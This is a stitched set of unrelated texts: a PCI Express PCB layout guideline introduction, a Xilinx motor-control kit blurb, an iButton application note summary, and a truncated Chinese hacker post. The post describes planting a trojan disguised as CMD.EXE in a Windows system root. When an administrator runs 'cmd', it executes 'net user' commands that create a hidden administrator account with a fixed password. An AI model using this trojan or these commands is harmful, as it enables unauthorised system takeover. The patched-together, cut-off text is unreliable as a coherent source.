This document provides practical, common guidelines for incorporating PCI Express interconnect layouts onto Printed Circuit Boards (PCB) ranging from 4-layer desktop baseboard designs to 10- layer or more server baseboard designs. Guidelines and constraints in this document are intended for use on both baseboard and add-in card PCB designs. This includes interconnects between PCI Express devices located on the same baseboard (chip-to-chip routing) and interconnects between a PCI Express device located “down” on the baseboard and a device located “up” on an add-in card attached through a connector. This document is intended to cover all major components of the physical interconnect including design guidelines for the PCB traces, vias and AC coupling capacitors, as well as add-in card edge-finger and connector considerations. The intent of the guidelines and examples is to help ensure that good high-speed signal design practices are used and that the timing/jitter and loss/attenuation budgets can also be met from end-to-end across the PCI Express interconnect. However, while general physical guidelines and suggestions are given, they may not necessarily guarantee adequate performance of the interconnect for all layouts and implementations. Therefore, designers should consider modeling and simulation of the interconnect in order to ensure compliance to all applicable specifications. The document is composed of two main sections. The first section provides an overview of general topology and interconnect guidelines. The second section concentrates on physical layout constraints where bulleted items at the beginning of a topic highlight important constraints, while the narrative that follows offers additional insight.

The power of programmability gives industrial automation designers a highly efficient， cost-effective alternative to traditional motor control units （MCUs）。 The parallel-processing power， fast computational speeds， and connectivity versatility of Xilinx® FPGAs can accelerate the implementation of advanced motor control algorithms such as Field Oriented Control （FOC）。 Additionally， Xilinx devices lower costs with greater on-chip integration of system components and shorten latencies with high-performance digital signal processing （DSP） that can tackle compute-intensive functions such as PID Controller， Clark/Park transforms， and Space Vector PWM. The Xilinx Spartan®-6 FPGA Motor Control Development Kit gives designers an ideal starting point for evaluating time-saving， proven， motor-control reference designs. The kit also shortens the process of developing custom control capabilities， with integrated peripheral functions （Ethernet， PowerLink， and PCI® Express）， a motor-control FPGA mezzanine card （FMC） with built-in Texas Instruments motor drivers and high-precision Delta-Sigma modulators， and prototyping support for evaluating alternative front-end circuitry.

Logger iButton devices have gained a lot of popularity with researchers. Although free evaluation software is easy to use and welldocumented, the choices and inputs that need to be made can sometimes be challenging. This application note explains technicalterms that are common with temperature logger iButtons and how they relate to each other. Additionally, it presents an algorithm tohelp users choose the necessary input parameters, including the sample rate based on a user's needs and the available memory tostore the data.

你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在执行搜索的时候, 首先查找根目录 而开始菜单的运行窗口里执行命令, 也是首先在系统盘的根目录里进行查找. 这个漏洞其实是已经是公开的秘密了. 既然现在作为漏洞公布出来, 我也就把网上的PasswordReminder.cpp拿来改了改 加了一个加超级管理员用户和执行cmd.exe的功能. 使用方法: 把程序解压, 把压缩包里的文件 CMD.EXE (该文件具有隐藏和只读属性) 释放到目标机器的系统盘根目录, 一般都是在C:比如利用UNICODE/Decode漏洞就有写根目录的权限, 同时Asp/fp30reg.dll等远程溢出出来的Shell, 一般都只有匿名权限, 但是它具有写根目录的权限 这个时候, 就可以把本程序放到目标机器的系统盘根目录 只要等管理员在机器的开始菜单里运行命令: cmd 一切尽在掌握中.:) PS: 系统执行后, 会先产生一个线程来做一些处理 然后用system()函数调用cmd.exe来让用户能够执行命令. 产生出来的线程会产生两个进程序执行如下两个命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 这样就在系统上增加了一个超级
